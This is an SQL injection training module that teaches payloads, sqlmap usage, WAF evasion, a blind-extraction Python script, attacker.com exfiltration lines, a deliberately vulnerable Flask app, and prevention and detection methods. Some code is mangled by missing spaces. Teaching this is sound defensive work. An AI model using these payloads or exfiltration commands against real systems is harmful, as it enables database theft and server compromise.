CYBER MIND SPACE
Module 15 - SQL Injection

Overview

SQL Injection is one of the most critical web application security vulnerabilities that allows attackers to interfere with the queries that an application makes to its database. It occurs when user input is not properly sanitized before being included in SQL queries, allowing attackers to manipulate database operations. SQL injection can result in unauthorized access to sensitive data, authentication bypass, data modification, and complete database compromise.

Learning Objectives

- Understand SQL injection fundamentals and attack vectors
- Learn different types of SQL injection techniques
- Master SQL injection testing tools and methodologies
- Develop skills in manual SQL injection exploitation
- Understand detection and prevention strategies

Fundamentals of SQL Injection

What is SQL Injection?

The intention of SQL injection is to reveal or manipulate sensitive information from the database by injecting commands into existing queries. SQL injection exploits vulnerabilities in data-driven applications where user input is incorrectly filtered for string literal escape characters or user input is not strongly typed.

SQL (Structured Query Language) Basics

SQL stands for Structured Query Language - a standardized language for managing and manipulating relational databases.

Common SQL Commands:

- SELECT: Retrieve data from database
- INSERT: Add new data to database
- UPDATE: Modify existing data
- DELETE: Remove data from database
- DROP: Delete tables or databases
- UNION: Combine results from multiple queries

Impact of SQL Injection

- Bypassing authentication: Login without valid credentials
- Revealing sensitive information: Access to confidential data
- Compromising data integrity: Unauthorized data modification
- Database deletion: Complete data loss Remote code
- execution: System-level compromise Privilege escalation:
- Gaining administrative access

Types of SQL Injection

1. In-Band SQL Injection

Uses the same communication channel to launch the attack and gather results. This is the most common and straightforward type of SQL injection.

Error-Based SQL Injection

- Server throws database error messages
- Error messages reveal database structure and information
- Useful during development but should be disabled in production

Example Attack:

```
-- Original query
SELECT * FROM users WHERE id = '1'

-- Malicious input
1' AND (SELECT COUNT(*) FROM information_schema.tables)='

-- Resulting query (causes error)
SELECT * FROM users WHERE id = '1' AND (SELECT COUNT(*) FROM information_schema.tables)=''
```

Union-Based SQL Injection

Involves the UNION SQL operator to combine results from multiple queries.

Example Attack:

Cyber Mind Space

```
-- Original query
SELECT name, description FROM products WHERE id = '1'

-- Malicious input
1' UNION SELECT username, password FROM users--

-- Resulting query
SELECT name, description FROM products WHERE id = '1' UNION SELECT username, password FROM users--
```

2. Inferential SQL Injection (Blind SQL Injection)

No data is transferred via the application. Attacker sends payloads and observes the web application's response and behavior to infer information.

Boolean-Based Blind SQL Injection

Sends SQL queries that force the application to return different responses depending on whether the query returns TRUE or FALSE. Example Attack:

```
-- Test if user 'admin' exists
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0--

-- Extract password character by character
1' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
```

Time-Based Blind SQL Injection

Forces the database to wait for a specified time before responding. Response time indicates whether the query returned TRUE or FALSE.

Example Attack:

```
-- MySQL time delay
1'; IF(1=1, SLEEP(5), 0)--

-- SQL Server time delay
1'; IF(1=1) WAITFOR DELAY '00:00:05'--

-- PostgreSQL time delay
1'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE 0 END--
```

3. Out-of-Band SQL Injection

Uses different communication channels (DNS, HTTP requests) to retrieve data. Depends on specific database server features and is not very common.

Example Attack:

```
-- DNS exfiltration (SQL Server)
'; EXEC xp_dirtree '//attacker.com/'+@@version+'/'--

-- HTTP exfiltration
'; EXEC xp_cmdshell 'curl http://attacker.com/data='+(SELECT password FROM users WHERE id=1)--
```

SQL Injection Techniques

Common Injection Points

- URL Parameters: GET request parameters
- Form Fields: POST request data
- HTTP Headers: User-Agent, Cookie, Referer
- JSON/XML Data: API request bodies
- File Uploads: Filename parameters
- Second-Order: Stored data used in subsequent queries

Basic Injection Techniques

1. Authentication Bypass

```
-- Login form bypass
username:   admin'--
password: anything

-- Resulting query
SELECT * FROM users WHERE username='admin'--' AND password='anything'

-- Alternative bypasses
username: admin' OR '1'='1'--
username: admin' OR 1=1#
username: ' OR ''='
```

Cyber Mind Space

2. Tautology Attacks

Using conditions that are always true (tautologies like "1=1" or "OR 'a'='a'").

```
-- Always true conditions
1' OR '1'='1
1' OR 1=1--
1' OR 'a'='a'--
1' OR TRUE--

-- Extract all records
' UNION SELECT * FROM users WHERE '1'='1
```

3. Comment Injection

Using SQL comments to bypass query logic.

```
-- MySQL/PostgreSQL comments
1'-- comment
1'# comment

-- SQL Server comments
1'/* comment */

-- Multi-line comments
1'/*
multi-line
comment
*/
```

4. UNION Attacks

Combining results from multiple queries.

```
-- Determine number of columns
1' ORDER BY 1-- # No error
1' ORDER BY 2-- # No error
1' ORDER BY 3-- # Error (only 2 columns)

-- Extract data
1' UNION SELECT username, password FROM users--
1' UNION SELECT table_name, column_name FROM information_schema.columns--
```

Advanced Injection Techniques

1. Second-Order SQL Injection

```
-- Step 1: Store malicious data
INSERT INTO comments (user_id, comment) VALUES (1, 'admin''--')

-- Step 2: Malicious data used in subsequent query
SELECT * FROM users WHERE username = 'admin'--'
```

2. NoSQL Injection

```
// MongoDB injection example
// Normal query
db.users.find({username: "admin", password: "password123"})

// Malicious input
username[$ne]=null&password[$ne]=null

// Resulting query
db.users.find({username: {$ne: null}, password: {$ne: null}})
```

3. LDAP Injection

```
# Normal LDAP query
(uid=admin)(password=secret)

# Malicious input
admin)(&(password=*

# Resulting query (bypasses password check)
(uid=admin)(&(password=*)(password=secret))
```

SQL Injection Testing Tools

Cyber Mind Space

Automated Tools

SQLMap

The most popular automated SQL injection testing tool.

Basic Usage:

```
# Test a single URL parameter
sqlmap -u "http://target.com/page.php?id=1"

# Test POST data
sqlmap -u "http://target.com/login.php" --data "username=admin&password=pass"

# Test from saved request file
sqlmap -r request.txt

# Specify database management system
sqlmap -u "http://target.com/page.php?id=1" --dbms=mysql

# Increase verbosity and risk levels
sqlmap -u "http://target.com/page.php?id=1" --level=5 --risk=3
```

Database Enumeration:

```
# List databases
sqlmap -u "http://target.com/page.php?id=1" --dbs

# List tables in specific database
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables

# List columns in specific table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --columns

# Dump table data
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump

# Dump specific columns
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T users -C username,password --dump
```

Advanced SQLMap Features:

```
# Batch mode (non-interactive)
sqlmap -u "http://target.com/page.php?id=1" --batch

# Use proxy
sqlmap -u "http://target.com/page.php?id=1" --proxy="http://127.0.0.1:8080"

# Custom User-Agent
sqlmap -u "http://target.com/page.php?id=1" --user-agent="Custom Agent"

# Cookie-based injection
sqlmap -u "http://target.com/page.php" --cookie="id=1" -p id

# File operations
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
sqlmap -u "http://target.com/page.php?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shell

# SQL shell
sqlmap -u "http://target.com/page.php?id=1" --sql-shell
```

NoSQLMap

Tool for NoSQL injection testing.

```
# Install NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python nosqlmap.py

# Basic usage
python nosqlmap.py -t http://target.com/login -p username,password

# JSON injection
python nosqlmap.py -t http://target.com/api/login -p json --json
```

jSQL Injection

GUI-based SQL injection tool.

Cyber Mind Space

```
# Download and run jSQL
java -jar jsql-injection-v0.82.jar

# Features:
# - Multiple database support
# - Automatic detection
# - File system access
# - Shell execution
```

Manual Testing Tools

Burp Suite

```
# Burp Suite Professional features:
# 1. Intruder for automated payload testing
# 2. Scanner for vulnerability detection
# 3. Repeater for manual testing
# 4. SQL injection detection extensions

# Burp extensions for SQL injection:
# - SQLiPy Sqlmap Integration # -
CO2 SQL injection testing # -
SQLmap4Burp++
```

OWASP ZAP

```
# Start ZAP
zap.sh

# Active scan for SQL injection
zap-cli active-scan http://target.com

# Spider and scan
zap-cli spider http://target.com
zap-cli active-scan http://target.com
```

Browser Extensions

- HackTools: Browser extension with SQL injection payloads
- Wappalyzer: Technology detection for targeting
- EditThisCookie: Cookie manipulation for injection testing

Manual SQL Injection Testing

Identification Techniques

1. Error-Based Detection

```
-- Test for SQL injection by breaking syntax
' " ` ; '-- "-- ';-- ";--









-- MySQL specific
' OR 1=1#
' OR 1=1--
' UNION SELECT null#

-- SQL Server specific
' OR 1=1--
'; EXEC xp_cmdshell('dir')--

-- Oracle specific
' OR 1=1--
' UNION SELECT null FROM dual--

-- PostgreSQL specific
' OR 1=1--
'; DROP TABLE test;--
```

2. Boolean-Based Detection

```
-- True condition (should return data)
1' AND '1'='1
```

Cyber Mind Space

```
-- False condition (should return no data)
1' AND '1'='2

-- Time-based detection
1'; WAITFOR DELAY'00:00:05'--   #SQL Server
1' AND SLEEP(5)--               # MySQL
1' AND pg_sleep(5)--            # PostgreSQL
```

Database Fingerprinting

MySQL

```
-- Version detection
' AND @@version LIKE '5%'--
' UNION SELECT @@version,null--

-- Database name
' UNION SELECT database(),null--

-- User information
' UNION SELECT user(),current_user()--

-- Table enumeration
' UNION SELECT table_name,null FROM information_schema.tables--
```

SQL Server

```
-- Version detection
' AND @@version LIKE 'Microsoft%'--
' UNION SELECT @@version,null--

-- Database name
' UNION SELECT db_name(),null--

-- User information
' UNION SELECT system_user,user_name()--

-- Table enumeration
' UNION SELECT name,null FROM sys.tables--
```

Oracle

```
-- Version detection
' AND (SELECT banner FROM v$version WHERE rownum=1) LIKE 'Oracle%'--

-- Database name
' UNION SELECT global_name,null FROM global_name--

-- User information
' UNION SELECT user,null FROM dual--

-- Table enumeration
' UNION SELECT table_name,null FROM all_tables--
```

PostgreSQL

```
-- Version detection
' AND version() LIKE 'PostgreSQL%'--

-- Database name
' UNION SELECT current_database(),null--

-- User information
' UNION SELECT current_user,session_user--

-- Table enumeration
' UNION SELECT tablename,null FROM pg_tables--
```

Data Extraction Techniques

String Functions

```
-- Substring extraction (MySQL)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--

-- Character extraction (SQL Server)
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--
```

Cyber Mind Space

```
-- ASCII value comparison
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='admin')>64--
```

Conditional Statements

```
-- MySQL
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--

-- SQL Server
' AND IF((SELECT COUNT(*) FROM users)>0) WAITFOR DELAY '00:00:05'--

-- PostgreSQL
' AND (SELECT CASE WHEN COUNT(*)>0 THEN pg_sleep(5) ELSE 0 END FROM users)::int--
```

Advanced SQL Injection Techniques

WAF Evasion Techniques

1. Encoding and Obfuscation

```
-- URL encoding
%27%20OR%201=1--

-- Double URL encoding
%2527%2520OR%25201=1--

-- Unicode encoding
\u0027 OR 1=1--

-- Hex encoding
0x27204f5220313d312d2d

-- HTML entity encoding
&#x27; OR 1=1--
```

2. Case Variation

```
-- Mixed case '
Or 1=1-- ' oR
1=1-- ' UnIoN
sElEcT--
```

3. Comment Variations

```
-- MySQL comments
'/**/OR/**/1=1--
'/*!OR*/1=1--
'/*! OR */1=1--

-- Multiple comment styles
'--+OR+1=1--
'#OR 1=1#
'/*OR 1=1*/--
```

4. Function Variations

```
-- Space replacement
'+OR+1=1--
'/**/OR/**/1=1--
'%0aOR%0a1=1--

-- Keyword alternatives
' HAVING 1=1--
' GROUP BY 1 HAVING 1=1--
' ORDER BY IF(1=1,1,1/0)--
```

Second-Order Injection

```
-- Step 1: Store malicious payload
Registration: username = admin'--

-- Step 2: Payload executed in password reset
SELECT email FROM users WHERE username = 'admin'--'
```

Time-Based Blind Injection Automation

Cyber Mind Space

```python
#!/usr/bin/env python3
import requests
import string
import time

def time_based_sqli(url, param, delay_time=5):
    """
    Automated time-based blind SQL injection
    """
    charset=string.ascii_letters+string.digits + "!@#$%^&*()_+-="
    extracted_data = ""
    position = 1

    while True:
        found_char = False

        for char in charset:
            # MySQL time-based payload
            payload=f"1'ANDIF((SELECTSUBSTRING(password,{position},1) FROM users WHERE username='admin')='{char}',SLEEP({delay_time}),0)--"

            start_time = time.time()

            try:
                response=requests.get(url,params={param: payload}, timeout=delay_time+2)
                end_time = time.time()

                # Check if response was delayed
                if end_time - start_time >= delay_time:
                    extracted_data += char
                    print(f"Foundcharacteratposition {position}: {char}")
                    print(f"Extracted so far: {extracted_data}")
                    position += 1
                    found_char = True
                    break

            except requests.Timeout:
                # Timeout indicates successful injection
                extracted_data += char
                print(f"Foundcharacteratposition {position}: {char}")
                print(f"Extracted so far: {extracted_data}")
                position += 1
                found_char = True
                break

        if not found_char:
            print(f"Extraction complete: {extracted_data}")
            break

    return extracted_data

# Usage
# extracted_password = time_based_sqli("http://target.com/login.php", "id")
```

Database-Specific Injection Techniques

MySQL-Specific Techniques

```sql
-- Information gathering
' UNION SELECT @@version, @@datadir--
' UNION SELECT user(), database()--

-- File operations
' UNION SELECT LOAD_FILE('/etc/passwd'), null--
' UNION SELECT 'shell code', null INTO OUTFILE '/var/www/html/shell.php'--

-- Privilege escalation
' UNION SELECT grantee, privilege_type FROM information_schema.user_privileges--

-- Error-based extraction
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
```

SQL Server-Specific Techniques

```sql
-- Information gathering
' UNION SELECT @@version, db_name()--
' UNION SELECT system_user, is_srvrolemember('sysadmin')--

-- File operations
' UNION SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\System32\drivers\etc\hosts', SINGLE_CLOB) AS x--

-- Command execution
'; EXEC xp_cmdshell 'whoami'--
```

Cyber Mind Space

```
'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE--

-- Registry access
'; EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'ProductName'--
```

Oracle-Specific Techniques

```
-- Information gathering
' UNION SELECT banner, null FROM v$version--
' UNION SELECT user, null FROM dual--

-- Error-based extraction
' AND (SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(58)||(SELECT user FROM dual)||CHR(62))) FROM dual) IS NOT NULL--

-- Time delays
' AND (SELECT COUNT(*) FROM ALL_USERS t1, ALL_USERS t2, ALL_USERS t3, ALL_USERS t4, ALL_USERS t5) > 0--

-- UTL_HTTP for out-of-band
' UNION SELECT UTL_HTTP.request('http://attacker.com/'||user) FROM dual--
```

PostgreSQL-Specific Techniques

```
-- Information gathering
' UNION SELECT version(), current_database()--
' UNION SELECT current_user, session_user--

-- File operations
' UNION SELECT pg_read_file('/etc/passwd', 0, 1000000)--

-- Command execution (if configured)
'; CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'c' STRICT--
'; SELECT system('id')--

-- Large object functions
'; SELECT lo_import('/etc/passwd', 1337)--
'; SELECT lo_get(1337)--
```

Detection and Prevention

Detection Techniques

1. Static Code Analysis

```
# Example of vulnerable code
def get_user(user_id):
    query = f"SELECT * FROM users WHERE id = {user_id}"  # Vulnerable
    return execute_query(query)

# Secure version
def get_user(user_id):
    query = "SELECT * FROM users WHERE id = ?"  # Parameterized
    return execute_query(query, (user_id,))
```

2. Dynamic Application Testing

```
# Web application scanners nikto -h
http://target.com zap-cli active-scan
http://target.com

# Manual testing checklist
# 1. Test all input parameters
# 2. Test different injection contexts
# 3. Test various payloads
# 4. Check error messages
# 5. Monitor response times
```

3. Log Analysis

```
# Apache/Nginx log patterns
grep -i "union\|select\|drop\|insert\|update\|delete" /var/log/apache2/access.log

# SQL injection indicators
grep -E "(0x[0-9a-f]+|'.*'|\".*\"|union.*select|concat\(|char\()" /var/log/apache2/access.log

# Time-based attack detection
awk '{print $4, $7}' /var/log/apache2/access.log | grep "sleep\|waitfor\|delay"
```

Prevention Strategies

Cyber Mind Space

1. Parameterized Queries/Prepared Statements

```
-- PHP PDO example
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);

-- Java PreparedStatement PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username
= ? AND password = ?"); stmt.setString(1, username); stmt.setString(2, password); ResultSet rs =
stmt.executeQuery();



-- Python parameterized query
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))

-- C# parameterized query SqlCommand cmd = new SqlCommand("SELECT * FROM users WHERE username = @username AND password =
@password", connection); cmd.Parameters.AddWithValue("@username", username); cmd.Parameters.AddWithValue("@password",
password);
```

2. Input Validation and Sanitization

```
import re

defvalidate_input(user_input, input_type="string"):
    """Validate and sanitize user input"""

    ifinput_type == "numeric":
        #Only allow numbers
        ifnot re.match(r'^\d+$', user_input):
            raise ValueError("Invalid numeric input")
        return int(user_input)

    elifinput_type == "alphanumeric":
        #Only allow letters and numbers
        ifnot re.match(r'^[a-zA-Z0-9]+$', user_input):
            raise ValueError("Invalid alphanumeric input")
        return user_input

    elifinput_type == "email":
        #Basic email validation
        ifnot re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', user_input):
            raise ValueError("Invalid email format")
        return user_input

    else:
        #General string sanitization #Remove dangerous characters
        dangerous_chars = ["'", '"', ';', '--', '/*', '*/', 'xp_', 'sp_']
        forchar in dangerous_chars:

            user_input = user_input.replace(char, '')

        return user_input

# Example usage
try:
    user_id = validate_input(request.form['id'], 'numeric')
    username = validate_input(request.form['username'], 'alphanumeric')
except ValueError as e:
    return "Invalid input: " + str(e)
```

3. Least Privilege Database Access

```
-- Create limited database user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';

-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON myapp.users TO 'webapp'@'localhost';
GRANT SELECT ON myapp.products TO 'webapp'@'localhost';

-- Revoke dangerous permissions
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
REVOKE PROCESS ON *.* FROM 'webapp'@'localhost';
REVOKE SUPER ON *.* FROM 'webapp'@'localhost';

-- Remove default dangerous functions
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
```

4. Web Application Firewall (WAF) Rules

Cyber Mind Space

```
# ModSecurity rules for SQL injection
SecRule ARGS "@detectSQLi" \
    "id:1001,\  phase:2,\  block,\  msg:'SQL  Injection  Attack  Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
    tag:'application-multi',\  tag:'language-multi',\  tag:'platform-multi',\
    tag:'attack-sqli'"









# AWS WAF SQL injection rule
{
  "Name": "SQLiRule",
  "Priority": 1,
"Statement": {
    "SqliMatchStatement": {
      "FieldToMatch": {
        "AllQueryArguments": {}
      },
      "TextTransformations": [
        {
          "Priority": 0,
          "Type": "URL_DECODE"
        },
        {
          "Priority": 1,
          "Type": "HTML_ENTITY_DECODE"
        }
      ]
    }
 },
"Action": {
    "Block": {}
 }
}
```

5. Error Handling

```
# Bad: Reveals database information
try:
    cursor.execute(query)
except Exception as e:
    return f"Database error: {str(e)}"  #Don't do this!

# Good: Generic error message
try:
    cursor.execute(query)
except Exception as e:
    # Log the actual error for debugging
    logger.error(f"Database error: {str(e)}")
    # Return generic message to user
    return "An error occurred. Please try again later."
```

Cyber Mind Space

Real-World Case Studies

Case Study 1: Heartland Payment Systems (2008)

- Attack Vector: SQL injection in web application
- Impact: 134 million credit card numbers stolen
- Root Cause: Unvalidated input in payment processing system
- Lesson: Always validate and sanitize all user inputs

Case Study 2: Sony Pictures (2011)

- Attack Vector: SQL injection via web application
- Impact: 1 million user accounts compromised
- Root Cause: Basic SQL injection in authentication system
- Lesson: Use parameterized queries for all database operations

Case Study 3: TalkTalk (2015)

- Attack Vector: SQL injection in legacy system
- Impact: 4 million customer records accessed
- Root Cause: Legacy code without proper input validation
- Lesson: Regular security audits of all systems, including legacy

Latest Trends and Techniques (2024)

Modern Attack Vectors

- **GraphQL Injection**: Exploiting GraphQL APIs
- **NoSQL Injection**: MongoDB, CouchDB, and other NoSQL databases
- **JSON Injection**: Exploiting JSON-based APIs
- **Cloud Database Injection**: AWS RDS, Azure SQL, Google Cloud SQL
- **Container Database Injection**: Docker and Kubernetes environments

Advanced Evasion Techniques

```
-- Machine learning evasion
' /*ML_EVASION*/ UNION /*AI_BYPASS*/ SELECT * FROM users--

-- Unicode normalization attacks
' UⁿiOⁿ SELECT * FROM users--

-- JSON Web Token injection
{"user": "admin' UNION SELECT password FROM users--"}

-- GraphQL injection
{
  user(id: "1' UNION SELECT password FROM users--") {
    name
    email
  }
}
```

AI-Powered Detection

```
# Example ML-based SQL injection detection
import numpy as np
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.ensemble import RandomForestClassifier

class SQLInjectionDetector:
    def __init__(self):
        self.vectorizer = TfidfVectorizer(max_features=1000)
        self.classifier = RandomForestClassifier(n_estimators=100)

    deftrain(self, training_data, labels):
        """Train the ML model"""
        X = self.vectorizer.fit_transform(training_data)
        self.classifier.fit(X, labels)

    defpredict(self, query):
        """Predict if query contains SQL injection"""
        X = self.vectorizer.transform([query])
        probability = self.classifier.predict_proba(X)[0][1]
        return probability > 0.7 # Threshold for detection

# Usage
detector = SQLInjectionDetector()
# detector.train(training_queries, training_labels)
# is_malicious = detector.predict("1' OR 1=1--")
```

Cyber Mind Space

Practical Exercises and Labs

Lab 1: DVWA SQL Injection

```
# Setup DVWA (Damn Vulnerable Web Application)
docker run --rm -it -p 80:80 vulnerables/web-dvwa

# Navigate to SQL Injection section
# Try different security levels (Low, Medium, High, Impossible)

# Low level payloads
1' OR '1'='1
' UNION SELECT first_name, last_name FROM users--

# Medium level (basic filtering)
1' OR '1'='1' #
1' UNION SELECT first_name, last_name FROM users #

# High level (more advanced evasion required)
1' OR '1'='1' LIMIT 1 #
```

Lab 2: SQLi Labs

```
# Setup SQLi Labs
git clone https://github.com/Audi-1/sqli-labs.git
cd sqli-labs
# Import database and configure web server

# Practice different injection types
# Less-1: Error-based injection
# Less-2: Numeric injection
# Less-3: String injection with single quotes
# Less-4: Double quote injection
# Less-5: Blind boolean-based
```

Lab 3: Custom Vulnerable Application

```
# Create simple vulnerable Flask app for testing
from flask import Flask, request, render_template_string
import sqlite3

app = Flask(__name__)

@app.route('/')
def index():
    return '''
    <form method="POST" action="/login">
        Username: <input type="text" name="username"><br>
        Password: <input type="text" name="password"><br>
        <input type="submit" value="Login">
    </form>
    '''

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    #Vulnerablequery-DO NOT USE IN PRODUCTION
    query=f"SELECT*FROM users WHERE username='{username}' AND password='{password}'"

    conn = sqlite3.connect('test.db')
    cursor = conn.cursor()

    try:
        cursor.execute(query)
        result = cursor.fetchone()

        if result:
            returnf"Welcome {result[1]}!"
        else:
            return"Invalid credentials"
    except Exception as e:
        return f"Error: {str(e)}"

if __name__ == '__main__':
    app.run(debug=True)
```

Cyber Mind Space

References and Further Reading

Official Documentation

- *OWASP SQL Injection Prevention Cheat Sheet*
- *NIST Special Publication 800-53: Security Controls for Federal Information Systems*
- *CWE-89: Improper Neutralization of Special Elements used in an SQL Command*

Security Resources

- *OWASP Top 10 - Injection*
- *PortSwigger Web Security Academy - SQL Injection*
- *SANS SQL Injection Detection and Prevention*

Testing Resources

- *SQLi Labs*
- *DVWA (Damn Vulnerable Web Application)*
- *WebGoat*
- *Mutillidae*

Training and Certification

- *SANS SEC542: Web App Penetration Testing and Ethical Hacking*
- *EC-Council Certified Ethical Hacker (CEH)*

- *Offensive Security Web Expert (OSWE)*

🔗 STAY CONNECTED WITH US 🔗
🔥 Stay Connected with Cyber Mind Space — Learn, Discuss & Dominate Cybersecurity! 🔐💡
📢 Telegram Channel (Updates & Resources):
https://t.me/cybermindspace
💬 Telegram Group (Ask & Network):
https://t.me/+LJvMwjAE6yA5YWQ1
📸 Instagram (Reels & Daily Tips):
https://instagram.com/cyber_ mind _space
📹 YouTube (Podcasts, Lives & Tutorials):
https://www.youtube.com/@CyberMindSpace
🔗 LinkedIn (Professional Profile):
https://linkedin.com/in/almadadali
💻 GitHub (Tools & Scripts):
https://github.com/ALMADADALI
📲 WhatsApp Channel (Cyber Alerts):
https://whatsapp.com/channel/0029VbAzQMU9hXF70zjpCu1Y
🗣️ Discord Server (Voice & Community Chat):
https://discord.gg/qA3CqZ86hY
👀 Tiktok:
https://www.tiktok.com/@cybermindspace
🐦 Twitter (X) – Cybersecurity Thoughts:
https://x.com/cybermindspace?s=21
⚡Subscribe, Follow & Stay Updated — Cybersecurity Never Sleeps! 🌐

Cyber Mind Space